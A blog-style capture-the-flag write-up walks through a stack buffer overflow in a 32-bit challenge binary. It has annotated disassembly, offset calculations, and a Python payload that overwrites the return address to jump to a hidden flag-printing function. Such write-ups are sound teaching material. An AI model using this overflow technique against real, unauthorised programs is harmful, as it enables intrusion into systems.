For the birds
It has been a while since I have blogged. The importance of doing so has not been absent only outweighed by the inertia(that dread to begin). This is the start of an attempt to put more of my thoughts on e-paper. I also maintain a telegram space where I dump materials/resources I encounter as I go along.
Checksec
[*] '/home/levanto/Documents/Return-To-ROP/ChasingFlags/AHCTF/finals/namecheck'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
.rodata
Contents of section .rodata:
80486d8 03000000 01000200 2f62696e 2f636174 ......../bin/cat
80486e8 20666c61 6700456e 74657220 796f7520 flag.Enter you
80486f8 6e616d65 3a200050 61727369 6e672074 name: .Parsing t
8048708 68652075 7365726e 616d6520 004e616d he username .Nam
8048718 65206d65 65747320 7374616e 64617264 e meets standard
8048728 732e2042 7965203a 29000000 4e616d65 s. Bye :)...Name
8048738 20666169 6c656420 746f206d 65657420 failed to meet
8048748 7374616e 64617264 732e2042 79653a29 standards. Bye:)
8048758 00
- /bin/cat flag @ 0x80486e0
Let’s create a fake flag file:
echo "Pwn3d{1337_fake_flag}" > flag
Interesting functions (readelf --syms namecheck
)
- main
- parseName @ 0x0804855b
systemCheck @ 0x0804859f
This function is not called anywhere within
main
orparseName
.It prints the contents of a flag file
TARGET FOUND: This is where we want to be!
...
80485a8: 68 e0 86 04 08 push 0x80486e0 ; /bin/cat flag
80485ad: e8 5e fe ff ff call 8048410 <system@plt>
...
main @ 0x080485b8
Takes user input of max size 0x191(401 bytes). Calls
parseName
on the input
...
; Get user input --> fgets(*buf=ebp-0x19c, count=0x191, fd=0)
80485f1: 50 push eax
80485f2: 68 91 01 00 00 push 0x191
80485f7: 8d 85 64 fe ff ff lea eax,[ebp-0x19c]
80485fd: 50 push eax
80485fe: e8 ed fd ff ff call 80483f0 <fgets@plt>
8048603: 83 c4 10 add esp,0x10
8048606: 83 ec 0c sub esp,0xc
8048609: 68 ff 86 04 08 push 0x80486ff
804860e: e8 ed fd ff ff call 8048400 <puts@plt>
8048613: 83 c4 10 add esp,0x10
8048616: 83 ec 0c sub esp,0xc
; call parseName(ebp-0x19c)
8048619: 8d 85 64 fe ff ff lea eax,[ebp-0x19c]
804861f: 50 push eax
8048620: e8 36 ff ff ff call 804855b <parseName>
...
parseName(str input) @ 0x0804855b
This function checks the input length and does a memcpy if the condition is met(see instr @ 0x80485f2).
Note: Input is pushed to the stack before this function is called. Accessed in the local frame via (ebp+0x8)
0804855b <parseName>:
; From the sp, we calculate the return addr of parseName: 0x28(stack size) + 0x8(ebp) = 0x30
804855b: 55 push ebp
804855c: 89 e5 mov ebp,esp
804855e: 83 ec 28 sub esp,0x28 <- Stack size
8048561: 83 ec 0c sub esp,0xc
8048564: ff 75 08 push DWORD PTR [ebp+0x8]
8048567: e8 b4 fe ff ff call 8048420 <strlen@plt>
804856c: 83 c4 10 add esp,0x10
804856f: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
8048572: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
8048575: 83 c0 01 add eax,0x1
; To get to the memcpy branch; the lower bytes of the len have to be 0x14. A len of 0x114(276 bytes) would work and be within the 0x191 fgets limit(check main at 0x80485f2)
8048578: 3c 14 cmp al,0x14
804857a: 76 07 jbe 8048583 <parseName+0x28>
804857c: b8 00 00 00 00 mov eax,0x0
8048581: eb 1a jmp 804859d <parseName+0x42>
8048583: 83 ec 04 sub esp,0x4
; Input is copied from the global stack(remember it was pushed right before we called `parseName`) to local stack at ebp-0xc.
; This means we get to the ret addr from the input at offset 0x30 - 0xc = 0x24(36 bytes)
8048586: ff 75 f4 push DWORD PTR [ebp-0xc]
8048589: ff 75 08 push DWORD PTR [ebp+0x8]
804858c: 8d 45 e0 lea eax,[ebp-0x20]
804858f: 50 push eax
8048590: e8 4b fe ff ff call 80483e0 <memcpy@plt>
8048595: 83 c4 10 add esp,0x10
8048598: b8 01 00 00 00 mov eax,0x1
804859d: c9 leave
804859e: c3 ret
Let’s pwn
We want to jump to systemCheck @ 0x0804859f
. In little endian: \x9f\x85\x04\x08
offset = 36
payload_size = 275 # This is 0x114 - 1 to account for the \n termination. 0x114 will satisfy the conditional check at 0x8048578
payload = b"A" * 36 # junk to get to the ret addr
payload += b"\x9f\x85\x04\x08"
# junk to pad to 275
trail_pad_len = payload_size - len(payload)
payload += b"A" * trail_pad_len